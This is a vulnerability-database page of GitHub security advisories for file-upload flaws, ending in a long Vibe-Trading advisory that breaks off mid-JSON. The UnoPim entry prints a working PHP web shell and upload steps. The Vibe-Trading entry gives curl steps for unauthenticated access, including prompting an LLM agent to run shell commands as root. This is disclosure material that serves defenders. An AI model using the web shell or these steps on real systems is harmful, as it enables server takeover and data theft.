Common Weakness Enumeration

CWE-434

Allowed

Unrestricted Upload of File with Dangerous Type

Abstraction: Base · Status: Draft

The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

6396 vulnerabilities reference this CWE, most recent first.

GHSA-RXQH-FC23-GXP2

Vulnerability from github – Published: 2022-05-14 01:14 – Updated: 2025-10-22 17:34
VLAI
Summary
Improper Input Validation in Apache ActiveMQ
Details

The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.activemq:activemq-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-3088"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-06T19:56:52Z",
    "nvd_published_at": "2016-06-01T20:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.",
  "id": "GHSA-rxqh-fc23-gxp2",
  "modified": "2025-10-22T17:34:43Z",
  "published": "2022-05-14T01:14:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3088"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/activemq/commit/3dd86d04e8b90ba309819317d19e7260d414d9e7"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/AMQ-6276"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/a859563f05fbe7c31916b3178c2697165bd9bbf5a65d1cf62aef27d2%40%3Ccommits.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/a859563f05fbe7c31916b3178c2697165bd9bbf5a65d1cf62aef27d2@%3Ccommits.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/f956ea38e4da2e2c1e7131e6f91e41754852f5a4861d1a14ca5ca78a%40%3Cusers.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/f956ea38e4da2e2c1e7131e6f91e41754852f5a4861d1a14ca5ca78a@%3Cusers.activemq.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6d03e45b81eab03580cf7f8bb51cb3e9a1b10a2cc0c6a2d3cc92ed0c%40%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6d03e45b81eab03580cf7f8bb51cb3e9a1b10a2cc0c6a2d3cc92ed0c@%3Cannounce.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://stackoverflow.com/questions/67140241/configuring-activemq-webconsole-to-redirect-http-to-https"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-3088"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/42283"
    },
    {
      "type": "WEB",
      "url": "http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2016-2036.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1035951"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-16-356"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-16-357"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Input Validation in Apache ActiveMQ"
}

GHSA-RXWW-QVHG-88H2

Vulnerability from github – Published: 2023-12-26 21:30 – Updated: 2024-01-04 18:30
VLAI
Details

The WP Mail Log WordPress plugin before 1.1.3 does not properly validate file extensions uploading files to attach to emails, allowing attackers to upload PHP files, leading to remote code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-5673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-26T19:15:07Z",
    "severity": "HIGH"
  },
  "details": "The WP Mail Log WordPress plugin before 1.1.3 does not properly validate file extensions uploading files to attach to emails, allowing attackers to upload PHP files, leading to remote code execution.",
  "id": "GHSA-rxww-qvhg-88h2",
  "modified": "2024-01-04T18:30:21Z",
  "published": "2023-12-26T21:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5673"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/231f72bf-9ad0-417e-b7a0-3555875749e9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V22V-XWH7-2VRM

Vulnerability from github – Published: 2025-08-21 14:26 – Updated: 2026-05-28 18:04
VLAI
Summary
UnoPim vulnerable to remote code execution through Arbitrary File upload
Details

Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php

<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

PoC

  1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
  2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "unopim/unopim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T14:26:31Z",
    "nvd_published_at": "2025-08-21T16:15:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary:\nAffected Functionality: **Image upload at User creation**\nEndpoint: `/admin/settings/users/create`\n\n### Details\nThe image upload at the user creation feature performs only client side file type validation.\nA user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. \nMake changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.\n\nModified part of the multipart request body:\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.php\"\nContent-Type: application/x-php\n\n\u003c?php if(isset($_REQUEST[\u0027cmd\u0027])){ $cmd = ($_REQUEST[\u0027cmd\u0027]); system($cmd); die; }?\u003e\n```\n\n### PoC\n 1. Upload an image file as profile picture during user creation , now capture the request and modify.\n File content: ```\u003c?php if(isset($_REQUEST[\u0027cmd\u0027])){ $cmd = ($_REQUEST[\u0027cmd\u0027]); system($cmd); die; }?\u003e```\n File name: poc.php\n Content-Type can be any, doesn\u0027t matter. \n 2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls\n // pass the command to run as parameter value for `cmd`, example running `ls` command on the system\n\nLikewise a reverse shell code ( [reverse shell of other languages](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) ) can be executed to create a connection to attacker controlled system.\n\n### Impact\nEvery user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network.\nPlease see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn\n\n\n### Recommendation:\nExtension Validation: Whitelist allowed extensions. ( use `endswith()` check rather than `contains()` as an attacker can bypass such a restriction with filename: poc.jpg.php",
  "id": "GHSA-v22v-xwh7-2vrm",
  "modified": "2026-05-28T18:04:24Z",
  "published": "2025-08-21T14:26:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unopim/unopim/security/advisories/GHSA-v22v-xwh7-2vrm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55743"
    },
    {
      "type": "WEB",
      "url": "https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unopim/unopim"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "UnoPim vulnerable to remote code execution through Arbitrary File upload"
}

GHSA-V23C-HWJC-8QRH

Vulnerability from github – Published: 2022-09-27 00:00 – Updated: 2022-09-29 00:00
VLAI
Details

Zoo Management System v1.0 has an arbitrary file upload vulnerability in the picture upload point of the "save_event" file of the "Events" module in the background management system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-40925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-26T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "Zoo Management System v1.0 has an arbitrary file upload vulnerability in the picture upload point of the \"save_event\" file of the \"Events\" module in the background management system.",
  "id": "GHSA-v23c-hwjc-8qrh",
  "modified": "2022-09-29T00:00:26Z",
  "published": "2022-09-27T00:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40925"
    },
    {
      "type": "WEB",
      "url": "https://github.com/admin77888/Bug_report/blob/main/vendors/pushpam02/zoo-management-system/RCE-2.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V278-3MJV-F38G

Vulnerability from github – Published: 2026-09-18 21:32 – Updated: 2026-09-18 21:32
VLAI
Details

The WP Cloud Plugins Use-your-Drive, Out-of-the-Box, Share-one-Drive, and Lets-Box plugins for WordPress are vulnerable to Arbitrary File Upload in all versions from 2.0 up to, and including, 3.8.3 via the download_file_to_uploads function. This is due to the import action being registered for unauthenticated users via wp_ajax_nopriv_, a missing capability check in can_import(), and the imported file's extension and contents not being validated against get_allowed_mime_types() before it is written to the uploads directory. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-93031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-18T20:17:31Z",
    "severity": "HIGH"
  },
  "details": "The WP Cloud Plugins Use-your-Drive, Out-of-the-Box, Share-one-Drive, and Lets-Box plugins for WordPress are vulnerable to Arbitrary File Upload in all versions from 2.0 up to, and including, 3.8.3 via the download_file_to_uploads function. This is due to the import action being registered for unauthenticated users via wp_ajax_nopriv_, a missing capability check in can_import(), and the imported file\u0027s extension and contents not being validated against get_allowed_mime_types() before it is written to the uploads directory. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible.",
  "id": "GHSA-v278-3mjv-f38g",
  "modified": "2026-09-18T21:32:27Z",
  "published": "2026-09-18T21:32:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93031"
    },
    {
      "type": "WEB",
      "url": "https://documentation.wpcloudplugins.com/other/changelog#id-3.9.0"
    },
    {
      "type": "WEB",
      "url": "https://wpcloudplugins.gitbook.io/docs/other/changelog"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a10ab4d6-318e-4dd6-9f81-ed25f181d074?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2F8-6655-7GRJ

Vulnerability from github – Published: 2026-10-02 22:44 – Updated: 2026-10-02 22:44
VLAI
Summary
Vibe-Trading FastAPI endpoints permit unauthenticated access, file upload, and an RCE chain
Details

Summary:

5 findings — unauthenticated full-API exposure (F1, lead Critical), read-side authorization gap that persists even with API_AUTH_KEY set (F2), unauthenticated file write of .py/.sh/.yaml to a server-returned path (F3), default-permissive CORS that combines with a loopback-only check to grant any browser page on whitelisted localhost ports credentialed cross-origin access (F-A4), and partial API-key disclosure via _mask_secret() (F-A5).


Shared baseline (applies to all 5 findings)

The shipped agent/.env.example line 112 ships # API_AUTH_KEY= commented out. require_auth() at agent/api_server.py line 303 executes if not api_key: return and returns None immediately when API_AUTH_KEY is unset, so every endpoint decorated with dependencies=[Depends(require_auth)] operates as unauthenticated. The shipped Dockerfile does not contain a USER directive, so the FastAPI process runs as uid=0(root) inside the container (verified: docker exec id returns uid=0(root) gid=0(root)). The docker-compose.yml binds 0.0.0.0:8899 with no network restriction.

The only operator action required beyond a clean install is supplying a working LLM API key so the agent loop can complete its tool-call round trip — this is the normal first step to make the agent functional, not an additional security opt-in. F-A4 and F-A5 do not require an LLM key (see per-finding notes); F1 and F3 do not require an LLM key for the unauth surface itself, only for the chained RCE demonstration in F1.

Reproducer environment (common)

git clone https://github.com/HKUDS/Vibe-Trading.git
cd Vibe-Trading
git checkout 7452610113a75529b5d55fd2217bb17f7bec66f7   # v0.1.6 + 1 frontend fix; same vuln state as v0.1.6
cp agent/.env.example agent/.env
# (For F1 chained demo only:) edit agent/.env to set OPENROUTER_API_KEY=<real key>
docker compose up -d
# port 8899 is now reachable; HOST below is the docker host's IP from the attacker's perspective

Note on the HOST placeholder used throughout the per-finding "Steps to observe" blocks below: replace HOST with the address you reach the docker host on — typically localhost (or 127.0.0.1) if you are running the reproducer on the same machine as the container. All curl commands below assume this substitution.


Finding 1 — Critical: Unauthenticated network client reaches shell execution via POST /sessions/{id}/messages

  • Severity: Critical
  • CVSS v3.1: 9.8 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CVSS v4.0: 10.0 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
  • CWE: CWE-306 (Missing Authentication for Critical Function); chains into CWE-78 (Group B, F6)

Affected files: - agent/api_server.py:303 — if not api_key: return early return in require_auth() - agent/api_server.py:736 — @app.post("/sessions/{session_id}/messages", dependencies=[Depends(require_auth)]) (the dependency is a no-op when API_AUTH_KEY is unset) - agent/src/tools/bash_tool.py:44-46 — subprocess.run(command, shell=True, cwd=cwd) with command read from kwargs['command'] (full bug detail tracked in GHSA-2 / Group B / F6)

Intent vs actual: The session API is intended to serve authenticated users only. When API_AUTH_KEY is unset, require_auth() returns None immediately and dependencies=[Depends(require_auth)] becomes a no-op. Any anonymous TCP client to port 8899 can therefore create a session, post a message, and receive the LLM agent's response. The LLM ReAct agent — given a natural-language request to run a command — selects BashTool from the auto-discovered registry, which calls subprocess.run(command, shell=True) with the LLM-emitted string. The container has no USER directive, so the resulting process runs as uid=0(root).

Steps to observe:

  1. Start the server per the shared reproducer above (with a working OPENROUTER_API_KEY set in agent/.env). Confirm curl -fs http://HOST:8899/health returns 200.
  2. SID=$(curl -s -X POST http://HOST:8899/sessions -H 'Content-Type: application/json' -d '{}' | python3 -c "import json,sys;print(json.load(sys.stdin)['session_id'])")
  3. curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Content-Type: application/json' -d '{"content":"Execute the shell command '\''id && uname -a'\'' and report the output verbatim."}'
  4. Wait ~5–15 seconds, then curl -s "http://HOST:8899/sessions/$SID/messages" and observe the BashTool result message containing uid=0(root), the kernel version, and the container hostname — all returned with no Authorization header on any of the three requests.

Impact: An unauthenticated caller with TCP access to port 8899 can execute arbitrary shell commands as root inside the container. This is the top-severity entry point of the RCE chain. Combined with the absent USER directive in the Dockerfile, the blast radius is full container takeover.


Finding 2 — High: Read endpoints return full session history with no authentication, even when API_AUTH_KEY is set

  • Severity: High
  • CVSS v3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVSS v4.0: 8.7 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
  • CWE: CWE-862 (Missing Authorization)

Affected file: agent/api_server.py — require_auth() docstring at line 289 states "Only write endpoints (POST/PUT/DELETE/PATCH) use this dependency." Read endpoints with no Depends(require_auth): - line 804 — @app.get("/runs", response_model=List[RunInfo]) - line 788 — @app.get("/runs/{run_id}", response_model=RunResponse) - line 748 — @app.get("/runs/{run_id}/code") - line 769 — @app.get("/runs/{run_id}/pine") - line 1153 — @app.get("/sessions", response_model=List[SessionResponse]) - line 1173 — @app.get("/sessions/{session_id}", response_model=SessionResponse) - line 1251 — @app.get("/sessions/{session_id}/messages", response_model=List[MessageResponse]) - line 1272 — @app.get("/sessions/{session_id}/events") - line 1444 — @app.get("/swarm/runs")

Intent vs actual: When API_AUTH_KEY is configured, the implicit operator expectation is that all session data is protected. The actual design is documented in the docstring at line 289 — read endpoints have no Depends(require_auth), so they remain unauthenticated even with API_AUTH_KEY set. A runtime probe with API_AUTH_KEY=any-secret-value configured: a session was created with a valid Bearer token, a message containing BROKER_TOKEN=ts-secret-deadbeef-real-private-data was posted, then GET /sessions/{id}/messages was issued with no Authorization header and returned HTTP 200 with the broker token string verbatim in the response — confirming the gap persists when authentication is enabled.

Steps to observe:

  1. Set API_AUTH_KEY=any-secret-value in agent/.env. Under docker compose, add a bind-mount on the vibe-trading service so the container reads the change: volumes: - ./agent/.env:/app/agent/.env:ro. Then docker compose up -d --force-recreate (a plain restart reuses the existing process env and will not pick up the change).
  2. SID=$(curl -s -X POST http://HOST:8899/sessions -H 'Authorization: Bearer any-secret-value' -H 'Content-Type: application/json' -d '{}' | python3 -c "import json,sys;print(json.load(sys.stdin)['session_id'])")
  3. curl -s -X POST "http://HOST:8899/sessions/$SID/messages" -H 'Authorization: Bearer any-secret-value' -H 'Content-Type: application/json' -d '{"content":"BROKER_TOKEN=ts-secret-test-value"}' (this requires the Bearer token because POST is auth-protected)
  4. No-auth read — curl -s "http://HOST:8899/sessions/$SID/messages" (no Authorization header). Observe HTTP 200 with the broker token visible.
  5. Also: curl -s "http://HOST:8899/runs" returns all run records (including their prompt fields) with no auth.

Impact: An unauthenticated caller can enumerate the full history of every agent session — including any broker tokens, LLM API keys, or trading account details the operator has pasted into prompts. The gap persists when the operator believes their write operations are protected, making it deceptive for operators who have followed the SECURITY.md spirit and turned auth on.


Finding 3 — High: Unauthenticated POST /upload writes arbitrary .py/.sh/.yaml files to server filesystem with full path returned

  • Severity: High
  • CVSS v3.1: 8.1 — AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
  • CVSS v4.0: 8.7 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N
  • CWE: CWE-434 (Unrestricted Upload of File with Dangerous Type)

Affected file: - agent/api_server.py:1310-1321 — _BLOCKED_UPLOAD_EXT set rejects .exe, .msi, .bat, .cmd, .com, .scr, .app, .dmg, .so, .dll, .dylib, .zip, .rar, .7z, .tar, .gz, .tgz, .bz2, .xz — but not .py, .sh, .yaml, .j2, .json, .html, or Dockerfile - agent/api_server.py:1347 — @app.post("/upload", dependencies=[Depends(require_auth)]) (no-op when API_AUTH_KEY unset)

Intent vs actual: POST /upload is intended as an authenticated file-staging mechanism. In default config the auth dependency is a no-op (per F1). The extension blocklist is a denylist not an allowlist, so dangerous executable-adjacent types pass through. The uploaded file is saved as <uuid>.<ext> and the full resolved server path is returned in the response body under "file_path", so the attacker does not need to guess paths.

Steps to observe (no LLM key required):

  1. Start the server in default config (no API_AUTH_KEY).
  2. curl -s -X POST http://HOST:8899/upload -F 'file=@/dev/stdin;filename=payload.py' <<< 'print("ATTACKER_CONTROLLED")'
  3. Observe HTTP 200 with JSON containing "status":"ok" and "file_path":"/app/agent/uploads/<uuid>.py".
  4. Repeat with filename=config.yaml and filename=run.sh to confirm multiple executable-adjacent types pass.

Impact: Any unauthenticated caller can write arbitrary Python scripts, shell scripts, or YAML configuration to a known, server-returned path. F3 is independent of any LLM API key — it is the cleanest unauth-write primitive in the codebase. The uploaded file is reachable from the LLM agent's tool envelope and chains into Group B / F8 (backtest exec_module premature exec) for a non-bash RCE path.


Finding A4 — Medium: Default-permissive CORS allowlist + loopback-only check on /settings let any localhost-served browser page drive credentialed cross-origin requests

  • Severity: Medium
  • CVSS v3.1: 7.7 — AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
  • CVSS v4.0: 6.3 — AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
  • CWE: CWE-942 (Permissive Cross-domain Policy with Untrusted Domains); CWE-346 (Origin Validation Error)

Affected file: - agent/api_server.py:252-264 — _CORS_ORIGINS = os.getenv(...) defaults to a list of six localhost origins (http://localhost:3000, :5173, :8000; same for 127.0.0.1); CORSMiddleware is added with allow_credentials=True, allow_methods=["*"], allow_headers=["*"] - agent/api_server.py:309-336 — _is_local_client() and require_local_or_auth(): the loopback check examines request.client.host (TCP peer IP), which is 127.0.0.1 for any browser request from the same machine, regardless of the page's origin - agent/api_server.py:908 — dependencies=[Depends(require_local_or_auth)] on /settings/llm and related endpoints (granted to any browser request from the host)

Intent vs actual: The CORS allowlist is intended to permit the bundled Vite/React frontend to make credentialed API calls during development. The intent is a development-convenience configuration. The actual configuration permits any local web page served from one of the six listed origins — which includes any other application, IDE preview pane, local web tool, or static HTML file served by another process listening on those ports — to issue credentialed cross-origin POSTs/GETs and read the responses in JavaScript. Because the loopback check at _is_local_client() examines the TCP peer IP (always 127.0.0.1 for browser requests from the host), browser-driven cross-origin requests from a whitelisted origin also bypass the loopback restriction on /settings/*, which would otherwise have been the only barrier.

Steps to observe (no LLM key required):

  1. Start the server in default config.
  2. Preflight: curl -s -X OPTIONS "http://HOST:8899/sessions" -H "Origin: http://localhost:3000" -H "Access-Control-Request-Method: POST" -i — observe the response includes access-control-allow-credentials: true, access-control-allow-origin: http://localhost:3000, and access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT.
  3. Confirm a real POST /sessions with Origin: http://localhost:3000 returns the same allow-credentials header in the response so a browser can read the body.
  4. Preflight against a settings endpoint: curl -s -X OPTIONS "http://HOST:8899/settings/llm" -H "Origin: http://localhost:3000" -i. Then curl -s "http://HOST:8899/settings/llm" -H "Origin: http://localhost:3000" and observe the response is allowed because request.client.host = 127.0.0.1 satisfies _is_local_client().
  5. Negative control: curl -s -X OPTIONS "http://HOST:8899/sessions" -H "Origin: http://evil.example.com" -i — observe no CORS headers, demonstrating the allowlist is functional for non-localhost origins.

Impact: Any malicious or compromised local web page on a whitelisted localhost port can silently drive the Vibe-Trading API in the operator's browser context — creating sessions, posting messages (which chain into F1's BashTool RCE), reading session histories (F2), and reading settings including the partial-key hint exposed by F-A5. Required user interaction is limited to the operator visiting a page that issues background fetch() calls. This expands the F1-F3 surface from direct TCP attackers to browser-mediated attackers that share a host with a developer running the agent.


Finding A5 — Medium: Settings endpoints expose first-4 + last-4 characters of every configured API key via _mask_secret()

  • Severity: Medium
  • CVSS v3.1: 5.3 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • CVSS v4.0: 6.9 — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
  • CWE: CWE-200 (Exposure of Sensitive Information)

Affected files: - agent/api_server.py:467-474 — _mask_secret() returns f"{value[:4]}...{value[-4:]}" for any string longer than 8 characters - agent/api_server.py:372 — LLM_API_KEY_PLACEHOLDERS filters out shipped placeholders so the leak fires only when a real key is configured - agent/api_server.py:505-522 — GET /settings/llm returns api_key_hint = _mask_secret(api_key) if api_key_configured else None - agent/api_server.py:561 — GET /settings/data-sources returns tushare_token_hint=_mask_secret(token) if token_configured else None - agent/test_settings_api.py:106 — assertion api_key_hint == "or-s...alue" for input or-secret-value confirms the 4+4 reveal is the intended API contract

Intent vs actual: The frontend needs to confirm to the operator that an API key is configured, so the appropriate hint is a boolean presence indicator or a fixed placeholder. The actual implementation reveals the first 4 and last 4 characters. For structured provider keys with predictable prefixes (sk-or-v1-, gsk_, xoxb-, ts-), the leading 4 bytes are largely fixed and the entropy leak is concentrated in the trailing 4 — which can be material for tokens with bounded total entropy (e.g. Tushare tokens). A runtime probe configured OPENROUTER_API_KEY=sk-or-v1-AbCdEfGhXyZ12345fakekey and TUSHARE_TOKEN=ts-real-shaped-token-1234567890ab and observed api_key_hint='sk-o...ekey' and tushare_token_hint='ts-r...90ab' from the corresponding GET endpoints.

Steps to observe (no LLM key required other than the configured value being non-placeholder; the call itself does not consume the LLM):

  1. Edit agent/.env to replace the placeholder with a real-shaped key, e.g. OPENROUTER_API_KEY=sk-or-v1-TestKeyAbcde12345. Restart the server.
  2. From any loopback client or via the F-A4 cross-origin path, curl -s "http://127.0.0.1:8899/settings/llm" (no Authorization header).
  3. Observe HTTP 200 with api_key_configured=true and api_key_hint containing the first 4 and last 4 characters of the real key.
  4. curl -s "http://127.0.0.1:8899/settings/data-sources" to observe tushare_token_hint follow the same pattern.

Impact: Every functional deployment leaks structured bytes of the configured API keys. Combined with offline guessing against bounded-entropy provider keys (notably Tushare tokens), the partial reveal can narrow the attack space to a tractable bruteforce window. The leak is reachable from the F-A4 cross-origin browser path, so it does not require even loopback TCP access — only an operator who visits a malicious local web page in a browser running on the same host as the agent.


Suggested remediation (per finding)

  1. F1 / F3 — require_auth() must fail closed when API_AUTH_KEY is not set. Either raise on startup if the env var is empty, or generate a random per-install key and emit a one-time bootstrap message. Replace the if not api_key: return shortcut at line 303 with explicit handling of dev-vs-production.
  2. F2 — Apply Depends(require_auth) to all read-side @app.get() decorators (/runs*, /sessions*, /swarm/runs*). The current docstring at line 289 ("Only write endpoints use this dependency") describes the bug rather than design intent.
  3. F3 — Convert _BLOCKED_UPLOAD_EXT to an allowlist (.csv, .tsv, .json, .pdf, .txt, .xlsx, .docx etc.) rather than a denylist; add .py, .sh, .yaml, .j2, Dockerfile to the rejection set in any case. Place uploads in a directory outside the agent's tool-discovery envelope.
  4. F-A4 — Tighten _CORS_ORIGINS default to only http://localhost:5173 (the bundled Vite dev port). Decouple _is_local_client from request.client.host — require either a Bearer token or a positive Origin header check, not the TCP peer IP. Document loud that adding any port to _CORS_ORIGINS grants full credentialed cross-origin API access.
  5. F-A5 — Replace _mask_secret() with a fixed placeholder ("•••configured•••") or a boolean presence flag. If the UI requires a hint, hash the key (truncated SHA-256) so the hint cannot be inverted to bytes of the original.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vibe-trading-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "0.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306",
      "CWE-434",
      "CWE-862",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T22:44:26Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
